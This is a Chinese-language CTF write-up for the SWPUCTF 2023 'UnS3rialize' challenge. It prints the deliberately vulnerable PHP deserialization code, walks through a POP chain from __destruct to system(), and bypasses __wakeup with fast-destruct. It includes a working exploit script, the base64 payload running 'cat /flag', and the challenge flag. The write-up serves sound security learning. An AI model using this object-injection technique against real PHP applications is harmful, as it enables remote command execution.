本文主要是介绍[SWPUCTF 2023 秋季新生赛]UnS3rialize,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
[SWPUCTF 2023 秋季新生赛]UnS3rialize
点开之后得到一串php代码:
<?php
highlight_file(__FILE__);
error_reporting(0);
class NSS
{public $cmd;function __invoke(){echo "Congratulations!!!You have learned to construct a POP chain<br/>";system($this->cmd);}function __wakeup(){echo "W4keup!!!<br/>";$this->cmd = "echo Welcome to NSSCTF";}
}class C
{public $whoami;function __get($argv){echo "what do you want?";$want = $this->whoami;return $want();}
}class T
{public $sth;function __toString(){echo "Now you know how to use __toString<br/>There is more than one way to trigger";return $this->sth->var;}
}class F
{public $user = "nss";public $passwd = "ctf";public $notes;function __construct($user, $passwd){$this->user = $user;$this->passwd = $passwd;}function __destruct(){if ($this->user === "SWPU" && $this->passwd === "NSS") {echo "Now you know how to use __construct<br/>";echo "your notes".$this->notes;}else{die("N0!");}}
}if (isset($_GET['ser'])) {$ser = unserialize(base64_decode($_GET['ser']));
} else {echo "Let's do some deserialization :)";
}
Let's do some deserialization :)
首先审计这段代码。
这段 PHP 代码定义了四个类(NSS、C、T、F),并通过判断是否有特定的 GET 参数来进行反序列化操作。整体功能似乎是通过反序列化用户传入的数据来执行一系列操作,包括输出特定信息和可能执行系统命令,同时也存在一些条件判断以控制输出结果。
以下是对代码的详细解读:
<?php
highlight_file(__FILE__);这个函数会高亮显示当前文
件的代码,通常在调试或展示代码时使用,但在生产环境中
一般不应该使用,因为它可能会暴露敏感信息。
error_reporting(0); 关闭了 PHP 的错误报告。这
在某些情况下可能会隐藏潜在的问题,不利于调试和发现错误。
class NSS 定义了一个名为NSS的类。
{public $cmd;声明了一个公共属性cmd,可以从外部直接访问和修改。function __invoke() __invoke()魔术方法:当对象被当作函数调用时会触发这个方法。它会输出一段文本,然后使用system()函数执行$this->cmd所存储的命令。这可能存在安全风险,如果cmd的值被恶意控制,可能会导致命令执行漏洞。{echo "Congratulations!!!You have learned to construct a POP chain<br/>";system($this->cmd);}function __wakeup() __wakeup()魔术方法:在对象被反序列化时会触发这个方法。它会输出一段文本,并将cmd属性设置为固定的字符串。{echo "W4keup!!!<br/>";$this->cmd = "echo Welcome to NSSCTF";}
}
class C 定义了一个名为C的类。
{public $whoami;公共属性。function __get($argv)__get()魔术方法:当尝试访问一个不存在的属性时会触发这个方法。它会输出一段文本,然后尝试获取whoami属性的值并返回。如果whoami是一个可调用的对象,那么会调用它并返回结果,这也可能存在安全风险。{echo "what do you want?";$want = $this->whoami;return $want();}
}
class T 定义了一个名为T的类
{public $sth; 公共属性。function __toString() __toString()魔术方法:当对象被当作字符串使用时会触发这个方法。它会输出一段文本,然后尝试获取$this->sth->var的值并返回。如果sth或者sth->var的值被恶意控制,可能会导致意外的行为。{echo "Now you know how to use __toString<br/>There is more than one way to trigger";return $this->sth->var;}
}
class F 定义了一个名为F的类。
{public $user = "nss";public $passwd = "ctf"; 初始化了两个公共属性,分别为用户名和密码。public $notes; 另一个公共属性。function __construct($user, $passwd) __construct()构造方法:接受两个参数并将其分别赋值给user和passwd属性。{$this->user = $user;$this->passwd = $passwd;}function __destruct() __destruct()析构方法:当对象被销毁时会触发这个方法。它会检查user和passwd是否分别为特定的值,如果是,则输出一些文本并显示notes属性的值,否则输出错误信息并终止程序。{if ($this->user === "SWPU" && $this->passwd === "NSS") {echo "Now you know how to use __construct<br/>";echo "your notes".$this->notes;}else{die("N0!");}}
}if (isset($_GET['ser'])) {$ser = unserialize(base64_decode($_GET['ser']));
} else {echo "Let's do some deserialization :)";
}检查是否存在$_GET['ser']参数。如果存在,先对其进行base64 解码,然后反序列化得到的结果赋值给$ser变量。如果不存在这个参数,则输出提示信息。这里的反序列化操作如果传入的参数被恶意构造,可能会导致安全问题,例如对象注入攻击。
Let's do some deserialization :)
从后往前推,出口是NSS.__invoke()的命令执行
调用此方法往前推到C.__get()
然后就是访问不存在属性,往前推到T.__toString()
再往前推到F.__destruct()
pop链梳理完再看看wakeup的绕过,用的fast-destruct
然后我们构造pop链:
F.__destruct() --> T.__toString() --> C.__get() --> NSS.__invoke()
编写如下脚本:
<?php
highlight_file(__FILE__);
class NSS
{public $cmd='cat /flag';
}
class T
{public $sth;
}class C
{public $whoami;
}
class F
{public $user = "nss";public $passwd = "ctf";public $notes;
}$a=new F();
$b=new T();
$c=new C();
$d=new NSS();
$a->user='SWPU';
$a->passwd='NSS';
$a->notes=$b;
$b->sth=$c;
$c->whoami=$d;
$remove=substr(serialize($a), 0, -1); //去掉最后一个花括号
echo base64_encode($remove);
运行之后得到:
得到了一串编码:
TzoxOiJGIjozOntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6OToiY2F0IC9mbGFnIjt9fX0=
然后我们构造payload:
?ser=TzoxOiJGIjozOntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6OToiY2F0IC9mbGFnIjt9fX0=
接着我们打开HackBar运行一下得到flag:
由此得到本题flag:
NSSCTF{ebc6b78c-cbc4-488e-914c-6f062ad94509}
这篇关于[SWPUCTF 2023 秋季新生赛]UnS3rialize的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!